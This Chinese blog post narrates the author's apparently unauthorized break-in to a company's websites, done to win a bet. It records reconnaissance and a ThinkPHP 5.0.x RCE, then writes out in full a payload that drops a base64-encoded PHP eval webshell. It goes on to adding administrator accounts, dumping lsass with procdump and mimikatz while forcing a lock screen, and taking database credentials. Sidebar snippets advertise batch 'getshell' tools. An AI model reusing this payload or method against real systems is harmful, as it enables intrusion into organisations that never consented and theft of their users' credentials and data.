和妹子打赌的getshell之“我不做安全了,和我一起锄大地吧”

Metinfo 5.3 后台getshell(远程文件包含漏洞)分析 最近准备入代码审计的坑,拿Metinfo来练练手,先找了下以前的版本整理下思路。 看了下大神的文章,代码审计的方法总体上分为两种:     1. 跟踪用户的输入数据,判断数据进入的每一个代码逻辑是否有可利用的点,此处的代码逻辑可以是一个函数,或者是条小小的条件判断语句。     2. 根据不同编程语言的特性,及其历史上经常产生漏洞的一些函数,功能,把这些点找出来,在分析函数调用时的参数,如果... 阅读详情

在这里插入图片描述

前言:

最近失业,流浪在各大街头和老头老太抢矿泉水瓶,掐架都比不过老太太,一天都没几个瓶子(喂,你们群里有瓶子嘛),回来和妹子锄大地吧。牌运倒是很好,赢了妹子好多局,惹得妹子急了:“你这么牛皮哄哄的,大黑阔了不起是吗,哼,也没见你拿过一个站”。凭借多年的高情商,我不仅没有哄妹子开心,还牛皮哄哄跟她打了赌,说今天就给你拿一个站。“好啊,你去吧。哼,不理你了”。看吧,等我拿下一个站后,她一定会很崇拜我的。

0x00 信息收集

信息收集绕不开,也是最重要的一个环节。选了某个企业,先对企业的进行域名信息收集。在百度上发现该企业的两个主站,分别是fxxxx.cc和jxxxx.com,分别进行了子域名的搜索。一般用他人的在线工具,以及Sublist3r、subDomainsBrute和Layer,整合它们的结果,必要时,再百度和Google搜集。大型的厂商建议做N级域名探测:
在这里插入图片描述
逐个查看,接着,对各个站点进行指纹识别,可以知道站点是否为已知的CMS、使用何种语言或框架等。有时候,云悉可能没有扫出来,可以使用firefox的插件wappalyzer。在云悉可以查看“该单位其他域名”,这个也可以获得更全面的信息。再收集一下备案信息,也可能有意料之外的收获。
在这里插入图片描述
接着,对已知的站点IP使用在线的端口扫描工具进行扫描,识别开放的端口;最后,对GitHub、以及谷歌搜索收集到的信息,进行整合,并作详细记录。当然,中间我省略了像是whois等的搜集。关于信息收集,就不多说了。

0x01 意外的getshell

在对jxxxx.com进行跟进一步的信息收集与漏洞探测时,发现在URL后随意添加字符串,服务器会响应一个报错页面,并打印详细的信息。发现该站点使用了ThinkPHP框架,且版本号为5.0.23——表面毫无波澜,实则内心偷乐了一下。凭借多年的VMware下的yy渗透测试的经验,好吧,我承认我是垃圾哈哈哈哈。
在这里插入图片描述
在这里插入图片描述
ThinkPHP 5.0.x和5.1.x存在RCE,直接拿出payload怼上去就好了。可以看到权限很高,但是无奈,怎么都写不进文件,但这也不能说是绝对的坏事。这时候,拿给妹子看了一下,“哦,很厉害啵,哼”。啊,可以感受到妹子已经被我的速度震惊了——这么快!
在这里插入图片描述
但我不能骄傲,我还要继续,“哦,那你去吧”,看吧,妹子在鼓励我,盘它!
然而,jxxxx.com的只剩下1个登录框,2个UPUPW_NP页面,然而,对登录框以及PHPmyadmin进行了爆破,都没有进展——啊咧!是我骄傲了嘛?

0x02 又一个shell

别我问为啥是这个标题,实在是想不出来了(狗头保命)。在crm登录界面,使用top500姓名和弱口令进行爆破,发现会被BAN掉;其余的登录处,top500都显示不存在该用户名——太难了。此时距离打牌以及一个钟头了,对fxxxx.cc的crm系统进行探测时,随手又来了一个乱写的URL,又是熟悉的界面,此时的ThinkPHP版本为5.0.12,版本号也是在漏洞范围内的。
在这里插入图片描述
在这里插入图片描述
此时尝试写入webshell文件,
payload:index.php? s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7)),
访问可以执行phpinfo(),蚁剑链接:
在这里插入图片描述
在另一个站点demo.fxxxx.cc上,如法炮制了一个shell出来。如下:

在这里插入图片描述
随手又给妹子看了,“哼!不理你了,以后别找我打牌了”!咦,我赢了呀,妹子干嘛不跟我打牌了?妹子一定是看我赢了恼羞成怒,真小气。我继续搞。

0x03 getshell后续

当然,最终的目的肯定是远程桌面(开了3389端口)。故而,在demo.fxxxx.cc的shell上开终端,添加管理员账户,但是,很不幸地无法添加进管理员组:
在这里插入图片描述
在crm.fxxxx.cc的shell上开终端,添加管理员账户,成功添加进管理员用户组。但是远程桌面登录时,提示连接被拒绝,没有被授权进行远程登录:
在这里插入图片描述
平时碰到这样的情况,如果是权限不够不能添加,可以先提权,获取system权限。如果已经是该权限了,还是不能,可以抓取管理员的明文密码。常用procdump获取内存文件lsass.exe进程中存储的明文登录密码,接着使用mimikatz读取lsass.dmp,这样就可以了。但是,这个过程,你还需要让管理员登录,这样才能抓取到明文密码,否则将读取到(null)。所以,此时需要修改注册表,强制锁屏,这样,管理员看到后会重新登录,这样就可以抓取到明文密码了。
然而,折腾了一番,管理员或许是跟妹子打牌去了,没有获取到,我去!
翻看了一下源代码,取了3个数据库的登录信息。以下只贴出了crm.fxxxx.com的两个数据库:
在这里插入图片描述
在这里插入图片描述
没什么说的直接连接就好了,没敢乱动数据,毕竟在里面不能玩手机,怎么和妹子打牌:
在这里插入图片描述

0x04 写在最后

第二天,醒来就把这些写下来了。当然,不做后续的测试,虽说拿到了用户的登录用户名密码,但是,也没啥意思了,还是和妹子打牌吧。然而,锄大地建房了,妹子始终不上线,啊咧!妹子输怕了吗?“gun啊!不想跟你说话了”。Orz。小破站,foieojoejgoisejgijohgudgadojefoejof不测了!

PS:文中的一切都是在梦游中发生的:)。
在这里插入图片描述

收割机网页采集工具_1_2_0_1_免费版 功能全面、准确、稳定、易用的网络信息采集软件。它可以轻松将你想要的网页内容(包括文字、图片、文件、HTML源码等)抓取下来。采集到的数据可以直接导出到EXCEL、也可以按照你定义的模板保存成任何格式的文件(如保存成网页文件、TXT文件等)。也可以在采集的同时,实时保存到数据库、发送到网站服务器、保存到文件。 立即下载

相关推荐

批量扫描webshell

批量扫描webshell

Linux命令

Linux命令Linux简介Linux和Windows的区别Linux内核版本和发行版本Linux内核版本Linux发行版本终端介绍Linux目录结构Linux 系统下的文件类型与文件权限Linux 文件操作命令计算机组成与进程内存与磁盘网络远程登录 Linux简介 Linux 就是一组软件,而软件分为操作系统软件和应用软件,当然 Linux 属于操作系统软件。 计算机是由一堆硬件组成的,为了有效的控制这些硬件资源,于是乎就有了操作系统的 产生,操作系统除了有效的控制这些硬件资源的分配,并提供计算机运作所需

qq_40939454的博客 1905

批量getshell教程+工具

批量getshell教程+工具

网站漏洞扫描注入批量getshell工具

好用的辅助软件很少 但是小编能保证这个工具一定好用 而且效果是杠杠的! 懂得人一看就懂,不懂得请绕道 下载好以后请联系软件上的联系方式,与管理员取得联系后 会得到试用权限,完全免费! 下载地址 https://www.lanzous.com/i6t89vi ...

ghoulcheen的博客 3739

最新收割机下载工具包-(独家后缀)

检测存活,有木马不要用,后缀越多概率越大,同样也越慢 ,支持弱口令破解!

HM收割机一建getshell

懂得人自然懂 不懂得当然不懂 纯自动化 关键词 排名 拿shel l一键getshell

C老头和Java小子的硬盘夜话

这是一个程序员的电脑硬盘, 在一个叫做“学习”的目录下有两个小程序, 一个叫做Hello.java , 另外一个叫做hello.c 。Hello.java 自视甚高,有...

码农翻身 592

uniapp 基于单选框多选框实现上拉触底多选/单选、回显

showPickerCheckbox弹层显示 label和value 类似下拉框的label和value一个意思 键和值。结果:可以传接口(接口只能post请求) 可以搜索 下面是结果图片展示 单选多选都可以。fieldValue回显传的值 传的是字符串 数组的话[1,2]转为1,2格式传入。mode是控制的单选还是多选 true为多选默认值 其余参数 单选多选一样。fieldName字段名 确定后会返回该字段名 根据字段名找对应的传入值。问题:在uniapp上 实现分页多选的操作。下面是组件的完整代码。

2301_76607997的博客 2936

mysql 注入绕过upupw_论SQL注入绕过技术—Hack之路

SQL注入绕过技术大小写绕过注入例如大小写绕过注入的测试地址:http://192.168.0.106/sqli/?id=1。访问id=1’,发现错误页面爆出MySQL错误,当访问id=1 and 1=1 时,页面返回”no 小结:关于 id=1 and 1=1被拦截,则进行大小写转换绕过(aNd 1=1,AND 1=1,And,AnD 1=1) 使用order by查询字段数量,发现还是被...

weixin_29967445的博客 455

代码审计工具学习之Seay(安装以及初步认识)

目录 1.1名词解释 1.2代码审计的重要性 1.3代码审计的步骤 1.4代码审计的内容 1.5常见的代码审计工具 2 Seay 2.1什么是Seay 2.2Seay的安装过程 3典型漏洞分析 3.1什么是命令注入漏洞 3.2 如何理解命令注入漏洞 3.3 如何防御命令注入漏洞 4 利用工具对命令注入漏洞进行分析 4.1DVWA靶场命令注入漏洞分析 4.2 Pikachu靶场命令注入漏洞分析 1.1名词解释 软件代码审计是对编程项目中源代码的全面...

weixin_52515588的博客 2万+

OpenBCI脑电帽硬件DIY与低成本搭建实战

本文详细介绍了如何通过第三方兼容硬件和开源设计,低成本DIY一套功能完备的OpenBCI脑电采集系统。从硬件选购、组装、软件配置到信号调试,提供了完整的实战指南,将总成本控制在千元级别,使脑机接口技术对爱好者、学生和研究者变得更加触手可及。

weixin_29322855的博客 795

upupw php 漏洞,畅捷通某分站phpmyadmin的弱口令导致服务器沦陷

http://edu.chanjet.com/phpmyadmin/然后根目录还有http://edu.chanjet.com/a.php 估计是测试文件,查看phpinfo信息的正好我们能找到路径 省得爆路径了首先 phpmyadmin的弱口令root chanjet顺利登陆然后结合路径D:\upupw\htdocs\来写文件到网站下select 'wooyun Martial' into ...

weixin_39949607的博客 1774

用VSCode搭建Vue.js开发环境及Vue.js第一个应用

用VSCode搭建Vue.js开发环境及Vue.js第一个应用

m0_61961937的博客 1万+

upupw phpmyadmin写shell

废话: upupw给我的感觉是一个充当了waf毁三观的垃圾程序。然而,我讨厌的程序,管理员都特别喜欢用。 你会发现直接用之前那套写shell的建表然后在值里添加shell代码写到一个路径不可以了。 CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL ); INSERT INTO `mysql`.`darkm...

aiquan9342的博客 245

三维重建笔记_光束平差法(Bundle Adjustment, BA)

目录 1 光束平差法(Bundle Adjustment, BA) 1.1 SFM (Structure‐from‐Motion) 定义 问题描述 1.2 重投影误差 (Reprojection Error) 目标函数 1.3 使用 Levenberg‐Marquardt Algorithm 进行优化 问题描述 简化目标函数 参考 Gauss‐Newton Method ...

惊鸿一博 2万+

从Gitee上部署视觉工程到Linux虚拟机

(使用SVM来识别装甲板的编号,此处手机上的图片中只有灯条没有数字,SVM无法识别出编号。这两行代码的意义是,当SVM识别不出或者识别不到编号时,把装甲板的编号默认为2号。找到自瞄程序中,数字识别类下的这两行代码,把注释去掉。这样,每次打开新的终端时,环境变量都会自动设置。(2)查看虚拟机设置选项,检查虚拟机USB接口是否为3.0及以上的接口。如果不是,要更改好。这样,每次打开新的终端时,环境变量都会自动设置。后,每次打开终端时自动设置这些环境变量,你可以将。打开第一个终端,用来挂ROS的内核启动页面。

2301_81035291的博客 1520

Web渗透学习(一)

什么是struts2? 本次讲的struts2漏洞是什么? 什么是phpMyAdmin? 如何使用phpMyAdmin? 本次讲的phpMyAdmin漏洞是什么? 本次使用的工具或方法是什么? 本次使用了哪些命令?其作用是什么? 整理本次的攻击流程 什么是struts2? Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设...

ImDone的博客 3863

Sigrity Power Tree如何进行直流压降仿真分析操作指导

Sigrity Power Tree模式可以用于前仿真,在没有layout文件的情况下对电源进行直流压降仿真分析,用于评估原理图设计以及器件选型是否合理。Model:设置为Equal Current,设置为等电源模型,意思该负载每个电源pin都是等电流的。Current:设置每个负载的电流,U30为3A,U3-U6各为1A。Nominal Current:设置能够承载的最大电流,设置为10A。Upper/ Lower Tol:设置为压降范围为5%Output Current:设置输出电流为10A。

weixin_54787054的博客 733

一些CMS网站系统漏洞,练手用(持续更新)

仅供拿shell,提权测试用,请勿恶意破坏 XuSoft系统: 后台万能密码:'or'='or' 可直接登陆,后台地址/manage/login.asp inurl:ReadArticlemb.asp?id= inurl:ReadBigClassmb.asp?id= inurl:ReadBigClassmbNews.asp?id= UPUPW绿色服务器平...

dibodang1423的博客 1072

利用Dify构建文档内容的分析对比

本次主要做了一些workflow和Agent的应用实现,供大家参考。主要目的是为了进行两个内部报告文件的内容对比,特别是报告中的各类审批表、申请表、推荐表和流程对比,本地数据通过知识库方式分别加载到两个知识库中,编制工作流针对同一个问题进行知识库检索,之后将查询结果进行合并,再一起提交给LLM进行对比,最终将对比分析结果以markdown方式返回显示。主要包括如何构建知识库,如何设计workflow、如何将工作流发布为工具、如何设计提示词、如何在agent中引入前面发布的工具,最终通过agent实现与用户交

hhue2007的专栏 2527

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

全是老头老太

  难得的周末,难得在周末又起的还算早,洗漱完毕,兴冲冲地到家旁边的公园爬山。   虽然才七点钟,但盛夏的阳光已经很厉害了,还好,山中古木参天,浓荫蔽日,虽算不上清爽,倒也是夏日里难得的好去处。  半山的平台上,有几拨晨练的人群,走近一看,都是鹤发童颜。一拨在舞剑,一拨在打太极,虽然离的很近,又都播放着音乐,但却互不干扰,沉浸于自己的世界。远远的还有一拨,吼声震天,原来是一帮人围成一圈,在练狮吼功

程序呓语 3万+

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

华为ensp40报错的个人解决方法

华为ensp启动AR设备时40报错的解决 近期因学习要求,需要使用华为的ensp模拟器,在安装并使用的过程中呢,遇到了最常见的AR设备启动时40报错,防火墙也设置了关闭,hyper-V在系统中也设置了关闭,不断的卸载和安装了各种VM VirtuallBox和eNsp的各种版本,还是无效,在VM VirtualBox中的AR_Base也一直启动不了,对于一直接触思科的我来说实属心累,在连续俩天的摸索中发现自己忽略了最根本的问题,因此,写下这个过程并解决,希望对你们也有帮助。此方法不代表所有的40报错问...

qq_44196848的博客 9011

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

Perl debug in eclipse

1.下载并安装windows下的Perl ActivePerl,最好是5.8,或者之后的版本,参考  http://www.epic-ide.org/faq.php#debug2.Eclipse中安装EPIC,使Eclipse具有编辑Perl的功能:Help->Software Update->Find and Install: select for new features to install.name:EPICnew remote site 中填入http://e-p-i-c.sourceforge.

julietcq的专栏 1646

Linux端口放行与取消

Linux防火墙端口放行与取消 查看防火墙状态: systemctl status firewalld.service 1.查看已放行的端口: firewall-cmd --list-ports 2.添加放行端口 xxxx 代表端口号 firewall-cmd --zone=public --add-port=xxxx/tcp --permanent 3.删除放行端口 firewall-...

小破老头 1069

湖南省网安基地网络安全培训:零基础入门与实战进阶的课程衔接

零基础学网安,怕跟不上;有基础再学,怕重复。本文按阶段拆解湖南省网安基地的网络安全培训衔接逻辑:能力评估定起点,基础阶段补系统与网络底座,核心阶段练漏洞复现,进阶阶段进入红蓝对抗与单位网络安全攻防演练,并说明 NISP、CISP 与网安实战人才的对应关系。

2401_84466325的博客 1134

企业如何同时管理用电安全、电能质量和节能降碳?从异常溯源看施耐德电气EEO的协同管理价值

通过整合电力运行信息,并结合EEO资产健康模块、EEO电能质量模块与EEO能碳管理模块,企业可以围绕设备、回路和负荷建立更连续的分析流程,使不同专业人员能够基于相互关联的数据开展判断。企业需要进一步核对异常出现的时间、涉及的配电回路、生产负荷变化以及设备运行状态,才能判断问题来自正常的生产调整、设备运行异常,还是需要采取措施的电能质量问题。从关键回路的异常排查入手,逐步完善设备数据、专业分析和治理验证流程,企业可以让用电安全、电能质量与节能降碳从分散的管理任务,转变为相互关联的日常运营工作。

科技,技术,行业类博主 184
上一篇: 面试又挂了!大厂面试到底看重什么?
下一篇: SQL入门:什么是SQL,如何开始学习SQL?
AI小模型
博客等级 码龄6年 6863粉丝 487原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI小模型

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值